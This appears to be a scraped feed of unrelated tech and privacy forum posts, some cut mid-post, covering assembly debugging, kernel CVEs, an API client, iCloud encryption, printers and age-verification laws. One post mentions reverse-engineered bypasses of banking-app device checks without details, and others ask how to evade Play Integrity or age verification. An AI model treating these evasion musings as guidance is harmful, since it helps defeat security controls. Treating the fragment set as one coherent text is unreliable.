&lt;p&gt;So far, I haven’t gotten it to work. At first, it was giving me syntax errors because the labels weren’t defined, so I replaced &lt;code&gt;A = [LABEL]&lt;/code&gt; with &lt;code&gt;label [LABEL]&lt;/code&gt; followed by &lt;code&gt;A = [CONST]&lt;/code&gt;, according to the specified calling convention. It also gave me a similar syntax error for TEMP_ADDR, which is never specified in the instructions, so I assigned it 0x7f00. So here is what I end up with (all in Assembly):&lt;/p&gt;
&lt;p&gt;(note: the stack pointer, SP, is defined by a shared constant &lt;code&gt;SP = 0&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;Test code:&lt;/p&gt;
&lt;pre style="background-color:#ffffff;"&gt;
&lt;span style="color:#323232;"&gt;init.stack
&lt;/span&gt;&lt;span style="color:#323232;"&gt;call functionName 0
&lt;/span&gt;&lt;span style="color:#323232;"&gt;stop
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;function FunctionName 0
&lt;/span&gt;&lt;span style="color:#323232;"&gt;push.value x42
&lt;/span&gt;&lt;span style="color:#323232;"&gt;return
&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;Macro: call&lt;/p&gt;
&lt;pre style="background-color:#ffffff;"&gt;
&lt;span style="color:#323232;"&gt;# Assembler code
&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Push the current ARGS and LOCALS on the stack
&lt;/span&gt;&lt;span style="color:#323232;"&gt;push.static ARGS
&lt;/span&gt;&lt;span style="color:#323232;"&gt;push.static LOCALS
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Push the return address.
&lt;/span&gt;&lt;span style="color:#323232;"&gt;push.value after
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Set ARGS to point to the start of the arguments
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = SP
&lt;/span&gt;&lt;span style="color:#323232;"&gt;D = *A
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = argumentCount
&lt;/span&gt;&lt;span style="color:#323232;"&gt;D = D - A
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = 3
&lt;/span&gt;&lt;span style="color:#323232;"&gt;D = D - A
&lt;/span&gt;&lt;span style="color:#323232;"&gt;label ARGS
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = 1
&lt;/span&gt;&lt;span style="color:#323232;"&gt;*A = D
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Jump to functionName.
&lt;/span&gt;&lt;span style="color:#323232;"&gt;goto functionName
&lt;/span&gt;&lt;span style="color:#323232;"&gt;

&lt;/span&gt;&lt;span style="color:#323232;"&gt;pop.D
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = ARGS
&lt;/span&gt;&lt;span style="color:#323232;"&gt;*A = D
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Push RETVAL.
&lt;/span&gt;&lt;span style="color:#323232;"&gt;label RETVAL
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = 6
&lt;/span&gt;&lt;span style="color:#323232;"&gt;D = *A
&lt;/span&gt;&lt;span style="color:#323232;"&gt;push.D
&lt;/span&gt;&lt;/pre&gt;

&lt;pre style="background-color:#ffffff;"&gt;

&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Define a label functionName
&lt;/span&gt;&lt;span style="color:#323232;"&gt;label functionName
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Set LOCALS to the current SP
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = SP
&lt;/span&gt;&lt;span style="color:#323232;"&gt;D = *A
&lt;/span&gt;&lt;span style="color:#323232;"&gt;label LOCALS
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = 2
&lt;/span&gt;&lt;span style="color:#323232;"&gt;*A = D
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Advance SP by localsCount
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = localsCount
&lt;/span&gt;&lt;span style="color:#323232;"&gt;D = A
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = SP
&lt;/span&gt;&lt;span style="color:#323232;"&gt;D = D + *A
&lt;/span&gt;&lt;span style="color:#323232;"&gt;*A = D

&lt;p&gt;Macro: return&lt;/p&gt;
&lt;pre style="background-color:#ffffff;"&gt;
&lt;span style="color:#323232;"&gt;# Assembler Code
&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Pop the top value into RETVAL
&lt;/span&gt;&lt;span style="color:#323232;"&gt;pop.D
&lt;/span&gt;&lt;span style="color:#323232;"&gt;label RETVAL
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = 6
&lt;/span&gt;&lt;span style="color:#323232;"&gt;*A = D
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;## Set SP to LOCALS
&lt;/span&gt;&lt;span style="color:#323232;"&gt;label LOCALS
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = 2
&lt;/span&gt;&lt;span style="color:#323232;"&gt;D = *A
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = SP
&lt;/span&gt;&lt;span style="color:#323232;"&gt;*A = D
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;# Pop the return address and jump to it
&lt;/span&gt;&lt;span style="color:#323232;"&gt;pop.D
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = D
&lt;/span&gt;&lt;span style="color:#323232;"&gt;JMP
&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;Note: &lt;code&gt;functionName&lt;/code&gt;, &lt;code&gt;argumentsCount&lt;/code&gt;, and &lt;code&gt;localsCount&lt;/code&gt; are all listed as placeholders above the relevant macro, but it doesn’t describe how to define these. I’m guessing that comes in a later unit. The code block for the call macro gives me a red bar for each line with a placeholder, but this doesn’t happen for the function macro which also includes placeholders. In any case, this doesn’t seem to get in the way of the program as it still runs smoothly.&lt;/p&gt;
&lt;p&gt;So as it is, when I run it, everything seems to work as intended. This is the result when it reaches the stop macro (infinite loop):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://sopuli.xyz/pictrs/image/43daaf9e-af71-4a43-9faf-30b8feb98ac9.webp" alt="" /&gt;&lt;/p&gt;
&lt;p&gt;Which looks like it’s doing everything it’s supposed to do. But when I click “Check solution”, this is what it says:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://sopuli.xyz/pictrs/image/c3138c1e-a6b7-4d4b-be67-481a95b8bda8.webp" alt="" /&gt;&lt;/p&gt;
&lt;p&gt;(“Expected SP (RAM address 0) to be hex 101. (Was 104)”)&lt;/p&gt;
&lt;p&gt;Which is strange, because in the computer section you can clearly see that the SP content is hex 0101. So I don’t know what’s going wrong.&lt;/p&gt;
&lt;p&gt;I stepped through the program tick by tick, and the only place SP ever reaches 104 is after the function macro, when it runs &lt;code&gt;push.value x42&lt;/code&gt;, after which it runs the return macro which begins with &lt;code&gt;pop.D&lt;/code&gt;, reducing SP back to 103.&lt;/p&gt;
&lt;p&gt;Could it be the evaluator is assessing the value of SP at the end of the code block, instead of where it runs the stop macro? So perhaps I could try replacing &lt;code&gt;stop&lt;/code&gt; with a jump to the end, followed by &lt;code&gt;stop&lt;/code&gt;… Now that I think of that, I think it might work. I’m still going to post this though, because I already went through all the trouble. And in case it doesn’t work, if anyone else has any ideas please share them!&lt;/p&gt;
&lt;p&gt;I can expand the rest of the macros if need be, but they already passed the evaluation so they’re all working according to specs.&lt;/p&gt;
&lt;p&gt;Thanks in advance!&lt;/p&gt;
&lt;p&gt;Edit:&lt;/p&gt;
&lt;p&gt;I thought for sure that would work. I changed the test code block to this:&lt;/p&gt;
&lt;pre style="background-color:#ffffff;"&gt;
&lt;span style="color:#323232;"&gt;init.stack
&lt;/span&gt;&lt;span style="color:#323232;"&gt;call functionName 0
&lt;/span&gt;&lt;span style="color:#323232;"&gt;A = end
&lt;/span&gt;&lt;span style="color:#323232;"&gt;JMP
&lt;/span&gt;&lt;span style="color:#323232;"&gt;
&lt;/span&gt;&lt;span style="color:#323232;"&gt;function FunctionName 0
&lt;/span&gt;&lt;span style="color:#323232;"&gt;push.value x42
&lt;/span&gt;&lt;span style="color:#323232;"&gt;return
&lt;/span&gt;&lt;span style="color:#323232;"&gt;label end
&lt;/span&gt;&lt;span style="color:#323232;"&gt;stop
&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;The program runs exactly as it’s supposed to, except now the stop loop is at the end of the code. The computer output still looks the same, except now the program counter loops between 60 and 61 at the end (as expected). But the evaluator is still giving me the same error! I’m stumped…&lt;/p&gt;
&lt;p&gt;Edit 2: added annotations to code blocks to make it easier to read&lt;/p&gt;

I just got a pop up ad (as in, an actual pop up). I’m on version 31.63.&lt;/p&gt;
&lt;p&gt;Ad popped up in lower right hand corner while scrolling Recommended. Some kind of skin care thing.&lt;/p&gt;
&lt;p&gt;I clicked disable - will see if that holds.&lt;/p&gt;
&lt;p&gt;I expect this is fun and games on YTs end / will be patched out. But, if not, might be time to spin up Tube archivist.&lt;/p&gt;

&lt;p&gt;Turns out I was wrong. I was checking CVE‑2026‑31431 (Copy Fail) this morning and realised that despite my “successful” updates, I was still running a vulnerable kernel from March.&lt;/p&gt;
&lt;p&gt;I’ve had to rethink how I handle host updates. If you’re relying on a standard upgrade and a reboot to keep Proxmox or Debian hosts safe, you might want to check if yours is lying to you as well.&lt;/p&gt;

I’m thinking of buying a T14s G5. It has to be new as we get tax deduction (will be at the reception of small local museum). What do people this of this notebook. I’ll end up installing Linux on it. I was thinking of going DELL as I’ve been running various latitudes over the years without major problems but looks like people are not fond of DELL + Linux. Any thoughts?&lt;/p&gt;

    <content type="text">submitted by &lt;a href="https://lemmy.world/u/dhruv3006"&gt;dhruv3006&lt;/a&gt; to &lt;a href="https://programming.dev/c/programming"&gt;programming&lt;/a&gt;&lt;br&gt;75 points | &lt;a href="https://programming.dev/post/49689447"&gt;12 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://github.com/VoidenHQ/voiden"&gt;https://github.com/VoidenHQ/voiden&lt;/a&gt;&lt;p&gt;Hey there,&lt;/p&gt;
&lt;p&gt;A few months ago we open sourced Voiden, an offline API client we originally built to replace Postman internally.&lt;/p&gt;
&lt;p&gt;Voiden now has around 11k installs and growing every day. ❤️&lt;/p&gt;
&lt;p&gt;Core principles we built it on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;free and local-first&lt;/li&gt;
&lt;li&gt;file-based, all plain executable markdown&lt;/li&gt;
&lt;li&gt;composable through blocks&lt;/li&gt;
&lt;li&gt;collaboration in Git, where devs are working already&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The main thing is that in Voiden, API requests are not (static) forms. They are built from blocks (endpoint, auth, params, body) that can be used, reused, replaced and version in Git, just like code. And all that in plain executable text.&lt;/p&gt;
&lt;p&gt;Our inspiration:&lt;/p&gt;
&lt;p&gt;Our inspiration was curl, and how simple it is, and obsidian, because of how powerful it can be.&lt;/p&gt;
&lt;p&gt;Who this is for:&lt;/p&gt;
&lt;p&gt;Developers, QA, Technical Writers working and collaborating on APIs.&lt;/p&gt;
&lt;p&gt;Progress:&lt;/p&gt;
&lt;p&gt;Since open sourcing, almost everything that we shipped came from actual users, feedback and contributions that pushed the tool in a few interesting directions. You can check our change-log here: &lt;a href="https://voiden.md/changelog"&gt;voiden.md/changelog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A few highlights:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Composable API workflows: Voiden lets you build reusable .void files that can be combined into flows, run multiple requests in sequence, and use real scripting (JS/Python/Shell) before and after requests.&lt;/li&gt;
&lt;li&gt;Added a “skills” layer so tools like Claude/Codex can operate directly on .void files and request blocks.&lt;/li&gt;
&lt;li&gt;We added an SDK for community plugins.&lt;/li&gt;
&lt;li&gt;&amp;amp; more…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Feedback:&lt;/p&gt;
&lt;p&gt;This project is now mostly shaped and driven by community ideas and contributions. Welcome to join and help us make this even more awesome.&lt;/p&gt;
&lt;p&gt;There is no account setup, its free and totally offline.&lt;/p&gt;

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;Quick PSA after a conversation that surprised me. iCloud Photos is encrypted at rest, but Apple holds the keys unless you explicitly enable Advanced Data Protection (ADP). ADP is opt-in, requires a recovery contact or key, and is unavailable in some regions (UK pulled it earlier this year).&lt;/p&gt; &lt;p&gt;Practical implications: 1. Apple can be compelled to hand over your photos to law enforcement (it has happened, repeatedly — see their transparency reports) 2. An attacker with your Apple ID password gets your photos, even with 2FA in some scenarios 3. Apple-side scanning (CSAM, etc.) is technically possible because the keys are server-side If you turn on ADP, this changes — but the default is &amp;quot;Apple holds the keys.&amp;quot; For sensitive photos specifically, the options I&amp;#39;ve found are: - Turn on ADP and accept the recovery key responsibility - Don&amp;#39;t put them in iCloud Photos at all (back up locally) - Use a separate encrypted-photo solution Curious what people here actually do. Not seeing this discussed enough given how many people use iCloud as their photo backup.&lt;/p&gt; &lt;p&gt;(Disclosure: I made an app in this space. Happy to share if anyone asks but I&amp;#39;m not posting to promote.)&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/ExcitementHealthy834"&gt; /u/ExcitementHealthy834 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/privacy/comments/1t0ncpv/icloud_photos_isnt_endtoend_encrypted_by_default/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/privacy/comments/1t0ncpv/icloud_photos_isnt_endtoend_encrypted_by_default/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

&lt;p&gt;The idea is to use a virtual filesystem to sync needed data to the client PC and have Homed to encrypt userdata and store the data on server.&lt;/p&gt;
&lt;p&gt;That way I do not have to backup the client PCs.&lt;/p&gt;
&lt;p&gt;What do you think? And are there any working examples out there?&lt;/p&gt;

Weekend was around the corner and there is no way that I could receive one of their refill vouchers in time (I use this method for privacy). I reached out to them, asking them to add a few more days to my account so that all my devices don’t get deleted when my account expires. I also emphasized, that they can of course subtract that amount of days from my next refill. I sent them my account number, encrypted with PGP, and within 12 hours, they replied: &lt;em&gt;I added three more days. It’s on the house. Have a good day! :)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;That was really nice of them. :)&lt;/p&gt;

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;Needed to print and scan, no printer at home. Did some research all morning, came to the conclusion out of Brother, Canon, Epson or HP that Brother was going to be the least troublesome and seemed to follow open standard better than others with proprietary drivers and/or up-selling subscriptions/other junk.&lt;/p&gt; &lt;p&gt;After setting up the printer and connecting it to Wi-Fi, my Fedora Workstation install had already picked up the printer and added it with zero fuss. Moving to scanning, while I am somewhat technical and can appreciate applications with high-level settings/functions, getting the basics right is always a challenge and I fundamentally believe the Document Scanner application in GNOME has done that. It was so simple to scan pages in from the various sources on the printer and configure the most relevant settings without any additional &amp;#39;fluff&amp;#39;.&lt;/p&gt; &lt;p&gt;Amazing results, this is what I love to see.&lt;/p&gt; &lt;p&gt;TL;DR -&lt;/p&gt; &lt;p&gt;Brother printers are awesome.&lt;/p&gt; &lt;p&gt;Linux is awesome.&lt;/p&gt; &lt;p&gt;GNOME is awesome.&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/Hasty0174"&gt; /u/Hasty0174 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t0lvpp/appreciation_post_linux_brother_printerscanner/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t0lvpp/appreciation_post_linux_brother_printerscanner/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

    <title>What US state is currently least likely to adopt online age verification?</title>

Does anyone have any idea which states’ governments are currently most hostile towards age verification?  Trying to figure out which state to virtually reside in for all the new TOS changes happening online right now that require you to input the state you live in.&lt;/p&gt;

    <title>Here's an easy way to handle multiple Firefox profiles on Linux</title>
    <link rel="alternate" href="https://lemmy.ml/post/46674704" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://discuss.tchncs.de/u/novafunc"&gt;novafunc&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/linux"&gt;linux&lt;/a&gt;&lt;br&gt;64 points | &lt;a href="https://lemmy.ml/post/46674704"&gt;11 comments&lt;/a&gt;&lt;p&gt;On my system, I wanted Firefox profiles to feel like their own browser instances. Meaning, their own app icons and to not be grouped together. Almost like how it is on MacOS.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://lemmy.ml/api/v3/image_proxy?url=https%3A%2F%2Fdiscuss.tchncs.de%2Fpictrs%2Fimage%2F58a033fe-f27b-4e04-b7e7-8f91a2de069f.png" alt="" /&gt;&lt;/p&gt;
&lt;p&gt;To do this, I had to make multiple .desktop files. Here are the contents of that file. This targets flatpak, but it should work for traditional Firefox installs too.&lt;/p&gt;
&lt;p&gt;I called this profile “Personal”. Note that this says &lt;code&gt;–profile “/home/USERNAME/.var/app/org.mozilla.firefox/config/mozilla/firefox/personal”&lt;/code&gt;. In this, “personal” is a symlink to the real profile folder name located in the same directory.&lt;/p&gt;

Parents would be able to override these default privacy settings and switch to a different setting, however, if they so choose.&amp;quot;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;Although it may seem that only social media sites would be affected, the bill specifically states that all online platforms, including video games, which have a live chat feature for their users, are required to implement age verification measures, and ban anyone under the age of 18 from using communication features. &lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/vriskaldrunk"&gt; /u/vriskaldrunk &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/privacy/comments/1t0bn8y/new_yorks_new_age_verification_law_will_ban/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/privacy/comments/1t0bn8y/new_yorks_new_age_verification_law_will_ban/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

But, if I have it selected when I lose power on the phone, then, when I restart the phone, I can&amp;#39;t login (unless using safe mode), as no keyboard shows, neither I found a way to switch back to the native (samsung) keyboard on this first screen.&lt;/p&gt; &lt;p&gt;What am I missing here? Is there a way to deal with this on Samsung phones (which is not having to enter using safe mode)?&lt;/p&gt; &lt;p&gt;PS: Using default Samsung Rom, Samsung S24 Ultra, Android 16, One UI 8&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/Upbeat_Parking_7794"&gt; /u/Upbeat_Parking_7794 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/fossdroid/comments/1t06ael/leantype_and_other_keyboards_on_boot/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/fossdroid/comments/1t06ael/leantype_and_other_keyboards_on_boot/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

    <title>A potentially OPSEC compromising open source contribution.</title>
    <link rel="alternate" href="https://lemmy.ml/post/46661993" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.ml/u/OppressedBread"&gt;OppressedBread&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;40 points | &lt;a href="https://lemmy.ml/post/46661993"&gt;14 comments&lt;/a&gt;&lt;p&gt;Hey everyone, Hope you all having a good day today, I apologize in advance for this long read but TLDR will be at the bottom.&lt;/p&gt;
&lt;p&gt;There’s this potential issue I’m facing right now and I need some opinions on how to go about this or maybe I’m overthinking this situation.&lt;/p&gt;
&lt;p&gt;Context:
I’m Running a google pixel phone with grapheneOS for about a month now, without any sandboxed google play services, the experience has been amazing and so freeing, this switch was overdue since all of my services are open source / privacy respecting or self hosted solutions, this was the last step to finally be “free” and I just got up one day and decided to bite the bullet, buying the phone with cash.&lt;/p&gt;
&lt;p&gt;BUT i made the rookie mistake of not checking banking app compatibility and as luck would have it, my banking apps outright blocked GOS users and no settings would work&lt;/p&gt;
&lt;p&gt;Luckily with some patience and a bit of RE magic, I managed to come up with bypasses for 2 local banking apps in a little over 3 hours, it was laughably easy and any user could pull it off without changing any settings or installing anything.&lt;/p&gt;
&lt;p&gt;issue:
Here’s the potential problem.&lt;/p&gt;
&lt;p&gt;Now we may all know the &lt;a href="https://privsec.dev/posts/android/banking-applications-compatibility-with-grapheneos/" rel="nofollow"&gt;Privsec GOS banking app compatibility list&lt;/a&gt;
at first I was over the moon to make a useful contribution ESPECIALLY to a list like this.&lt;/p&gt;
&lt;p&gt;And then it dawned on me, I’ll be potentially shooting myself in the foot and here’s how:&lt;/p&gt;
&lt;p&gt;1-I live in a relatively small country that isn’t mentioned anywhere in this list, I’ll be the first one in my nation to make a contribution, while yes we do have wiggle room for internet freedom, the local government showed that it will not tolerate moves that will encourage the masses to take privacy routes, basically “if you’re gonna do it, shut up about it or we’re gonna come after you” it did happen before.&lt;/p&gt;
&lt;p&gt;2-The population pool is small, to make matters worse, Google pixel phones aren’t even  a thing here, I had to REALLY dig around to find someone that sold these brand new, the second hand market is just as bad, no one is selling these phones so I imagine that people who actually have these phones here can be counted on my fingers.&lt;/p&gt;
&lt;p&gt;3-The bank I’m using most probably already logged the phone type, It wouldn’t be so hard for them to connect the dots if they got alerted about my bypass solutions, The privsec fill out forum needs me to include my phone model name and build number, potentially leading to a full OPSEC compromise.&lt;/p&gt;
&lt;p&gt;Verdict / Thoughts:&lt;/p&gt;
&lt;p&gt;I’m split on this issue, part of me things I’m over thinking the shit out of this situation and I’m over estimating their capabilities.&lt;/p&gt;
&lt;p&gt;The other part is telling me that I’ll be destroying my opsec and I should stop.&lt;/p&gt;
&lt;p&gt;I’m thinking of falsifying Device name / model on the forum to avoid this but I don’t know if this is even enough and I don’t want to mislead other users.&lt;/p&gt;
&lt;p&gt;TLDR: Local Banking apps blocked GOS, came up with a bypass but not enough people use Google pixel phones locally and this may lead to a full OPSEC compromise if I posted about it.&lt;/p&gt;

    <title>My questions regarding many things...</title>
    <link rel="alternate" href="https://lemmy.ml/post/46650950" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://sopuli.xyz/u/Anonymous"&gt;Anonymous&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;21 points | &lt;a href="https://lemmy.ml/post/46650950"&gt;7 comments&lt;/a&gt;&lt;p&gt;A few questions that have been on my mind:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;How do you handle apps that refuse to run on rooted/jailbroken phones or on devices without Google Play Services? Can microG, Xposed, or other tools help in practice? (F*ck Play Integrity and “Google Play license check”). Can I bypass those restrictions without rooting?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Have you ever rooted your phone? Any practical advice for someone considering it? I don’t have a phone I know is compatible with alternative ROMs (e.g., LineageOS), so I’m leaning toward rooting and would appreciate recommendations or warnings.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is fact that in my country (Vietnam), banks are required to block banking apps from running on rooted or jailbroken phones. The State Bank of Vietnam introduced Circular 77/2025/TT‑NHNN, which mandates this.&lt;/p&gt;
&lt;p&gt;Some other questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;How often do you need to show ID where you live (hospitals, government offices, large transactions, etc.)? For example, in my country I always have to show ID (or use face ID) at places like hospitals or when making large transactions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;How is eID implemented in your country? Does your government require or strongly encourage using eID apps? Are they widely adopted? (I know the EU’s planned age‑verification app is a form of eID—or not really. Real examples are Germany’s AusweisApp and Vietnam’s VNeID. Anyway, that age‑verification law should not exist).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any experiences or advice are appreciated. Thanks a lot.&lt;/p&gt;
&lt;p&gt;(I may add more questions later. Sorry in advance if I ask too many 😶).&lt;/p&gt;

It&amp;#39;s well designed, and I use it daily. Let&amp;#39;s call it Hank. It has not had a new release in a year, has over a thousand issues and over 500 waiting PRs. I am considering forking, so that I can add the features to it that I want. Part of those features though is making use of some of those PRs.&lt;/p&gt; &lt;p&gt;My question to you is, if I fork Hank, is it a no-no to bring those PRs along, and should I contact each PR submitter individually to ask their permission?&lt;/p&gt; &lt;p&gt;Thank you for your help,&lt;/p&gt; &lt;p&gt;Stymied in Software Limbo&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/WilliamBarnhill"&gt; /u/WilliamBarnhill &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1szwdbh/dear_miss_foss_regarding_forking_and_prs/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1szwdbh/dear_miss_foss_regarding_forking_and_prs/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;I just released version 1.7.3290 of Xecrets File Classic, our legacy Windows-only, AES-128 original file encryption software for Windows. (This is the software that was originally named AxCrypt, but I no longer have any affiliation with that product or the company by the same name.)&lt;/p&gt; &lt;p&gt;The source code is found at &lt;a href="https://github.com/xecrets/xecrets-file-classic"&gt;https://github.com/xecrets/xecrets-file-classic&lt;/a&gt; and you can download a ready built installer at &lt;a href="https://www.axantum.com/other-downloads"&gt;https://www.axantum.com/other-downloads&lt;/a&gt; .&lt;/p&gt; &lt;p&gt;There are no new features, I just maintain it by updating the tooling every now and then. Today we updated it to build with Crypto++ 8.9, zlib 1.3.2, NSIS 3.12, WiX 7.0.0 and Visual Studio 2026. This is really only for existing users.&lt;/p&gt; &lt;p&gt;For an updated compatible command line version with stronger encryption and more features, running on Windows, Linux and macOS as well as on ARM64 processors, check out Xecrets Cli, my third generation file encryption software at &lt;a href="https://github.com/xecrets/xecrets-cli"&gt;https://github.com/xecrets/xecrets-cli&lt;/a&gt; .&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/svantex"&gt; /u/svantex &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/foss/comments/1szuq7f/update_to_legacy_xecrets_file_classic_173290/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/foss/comments/1szuq7f/update_to_legacy_xecrets_file_classic_173290/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

    <title>How can i in Labwc have Desktop Icons as well as a Wallapper?</title>

No Issues so far with both of the Tools of course :P&lt;br /&gt;
Except for the Fact that i can have only either Desktop Icons via pcmanfm-qt --desktop or the swaybg Background :(&lt;br /&gt;
Am i simply doing something wrong by Chance? O.o&lt;br /&gt;
I have both in my autostart but only the Wallpaper will run by Default :(&lt;/p&gt;

    <title>Closed‑source vs source‑available vs open‑source — which model makes the most sense for small tools?</title>
    <link rel="alternate" href="https://lemmy.ml/post/46642424" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.ml/u/mietkiewski_dev"&gt;mietkiewski_dev&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource"&gt;opensource&lt;/a&gt;&lt;br&gt;38 points | &lt;a href="https://lemmy.ml/post/46642424"&gt;21 comments&lt;/a&gt;&lt;p&gt;I’m trying to understand which licensing model makes the most sense for small personal tools — not as products, but as experiments to learn how to distribute software before working on a larger project.&lt;/p&gt;
&lt;p&gt;To explore this, I released a tiny utility as source‑available rather than fully open‑source. The code is visible, but the license is restrictive. GitHub here works only as a landing page, not as a full FOSS repo.&lt;/p&gt;
&lt;p&gt;Here’s the project I’m using as a test case (not promoting it — just showing the model I’m experimenting with):
&lt;a href="https://github.com/Mietkiewski/MPomidoro"&gt;github.com/Mietkiewski/MPomidoro&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;My goal isn’t to push the tool itself — it’s just a way to understand how people interpret these categories:&lt;/p&gt;
&lt;p&gt;Is source‑available meaningfully different from closed‑source?&lt;/p&gt;
&lt;p&gt;Do you expect small tools to default to open‑source?&lt;/p&gt;
&lt;p&gt;Does hosting something on GitHub imply a FOSS expectation?&lt;/p&gt;
&lt;p&gt;For someone planning a larger ecosystem later, which model is the most reasonable starting point?&lt;/p&gt;
&lt;p&gt;I’m genuinely trying to understand how open‑source communities see these distinctions before I commit to a long‑term direction.&lt;/p&gt;

